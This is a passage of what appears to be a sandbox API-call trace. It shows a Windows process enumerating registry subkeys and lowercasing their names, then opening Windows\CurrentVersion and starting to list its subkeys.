[0175.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x3ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0175.646] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5d, lpName=0x3ab930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0175.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0175.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x3ac0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0175.646] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5e, lpName=0x3ab930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0175.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0175.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x3ac120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0175.647] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5f, lpName=0x3ab930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0175.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0175.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x3ac0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0175.647] RegEnumKeyW (in: hKey=0x24, dwIndex=0x60, lpName=0x3ab930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0175.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x3ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0175.647] RegEnumKeyW (in: hKey=0x24, dwIndex=0x61, lpName=0x3ab930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0175.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x3ac0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0175.647] RegEnumKeyW (in: hKey=0x24, dwIndex=0x62, lpName=0x3ab930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0175.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x3ac120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0175.647] RegEnumKeyW (in: hKey=0x24, dwIndex=0x63, lpName=0x3ab930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0175.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0175.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x3ac0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0175.647] RegEnumKeyW (in: hKey=0x24, dwIndex=0x64, lpName=0x3ab930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0175.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x3ac120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0175.647] RegEnumKeyW (in: hKey=0x24, dwIndex=0x65, lpName=0x3ab930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0175.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x3ac0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0175.648] RegEnumKeyW (in: hKey=0x24, dwIndex=0x66, lpName=0x3ab930, cchName=0x104 | out: lpName="Software") returned 0x0 [0175.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x3ac120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0175.648] RegEnumKeyW (in: hKey=0x24, dwIndex=0x67, lpName=0x3ab930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0175.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x3ac0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0175.648] RegEnumKeyW (in: hKey=0x24, dwIndex=0x68, lpName=0x3ab930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0175.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x3ac120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0175.648] RegEnumKeyW (in: hKey=0x24, dwIndex=0x69, lpName=0x3ab930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0175.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0175.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x3ac0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0175.648] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6a, lpName=0x3ab930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0175.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x3ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0175.648] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6b, lpName=0x3ab930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0175.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0175.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x3ac0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0175.648] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6c, lpName=0x3ab930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0175.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0175.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x3ac120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0175.649] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6d, lpName=0x3ab930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0175.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x3ac0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0175.649] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6e, lpName=0x3ab930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0175.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x3ac120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0175.649] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6f, lpName=0x3ab930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0175.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0175.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x3ac0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0175.649] RegEnumKeyW (in: hKey=0x24, dwIndex=0x70, lpName=0x3ab930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0175.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x3ac120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0175.649] RegEnumKeyW (in: hKey=0x24, dwIndex=0x71, lpName=0x3ab930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0175.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x3ac0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0175.649] RegEnumKeyW (in: hKey=0x24, dwIndex=0x72, lpName=0x3ab930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0175.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x3ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0175.649] RegEnumKeyW (in: hKey=0x24, dwIndex=0x73, lpName=0x3ab930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0175.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x3ac0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0175.650] RegEnumKeyW (in: hKey=0x24, dwIndex=0x74, lpName=0x3ab930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0175.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x3ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0175.650] RegEnumKeyW (in: hKey=0x24, dwIndex=0x75, lpName=0x3ab930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0175.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0175.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x3ac0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0175.650] RegEnumKeyW (in: hKey=0x24, dwIndex=0x76, lpName=0x3ab930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0175.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0175.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x3ac120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0175.650] RegEnumKeyW (in: hKey=0x24, dwIndex=0x77, lpName=0x3ab930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0175.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x3ac0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0175.650] RegEnumKeyW (in: hKey=0x24, dwIndex=0x78, lpName=0x3ab930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0175.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x3ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0175.650] RegEnumKeyW (in: hKey=0x24, dwIndex=0x79, lpName=0x3ab930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0175.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0175.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x3ac0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0175.650] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7a, lpName=0x3ab930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0175.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x3ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0175.651] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7b, lpName=0x3ab930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0175.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0175.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x3ac0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0175.651] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7c, lpName=0x3ab930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0175.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x3ac120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0175.651] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7d, lpName=0x3ab930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0175.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x3ac0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0175.651] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7e, lpName=0x3ab930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0175.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x3ac120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0175.651] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7f, lpName=0x3ab930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0175.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x3ac0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0175.651] RegEnumKeyW (in: hKey=0x24, dwIndex=0x80, lpName=0x3ab930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0175.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x3ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0175.651] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x19f8e8 | out: phkResult=0x19f8e8*=0xa0) returned 0x0 [0175.652] RegCloseKey (hKey=0x24) returned 0x0 [0175.652] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x3ab930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0175.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0175.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x3ac0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0175.652] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x19f8e8 | out: phkResult=0x19f8e8*=0x24) returned 0x0 [0175.652] RegCloseKey (hKey=0xa0) returned 0x0 [0175.652] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x3ab930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0175.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0175.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x3ac120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0175.652] 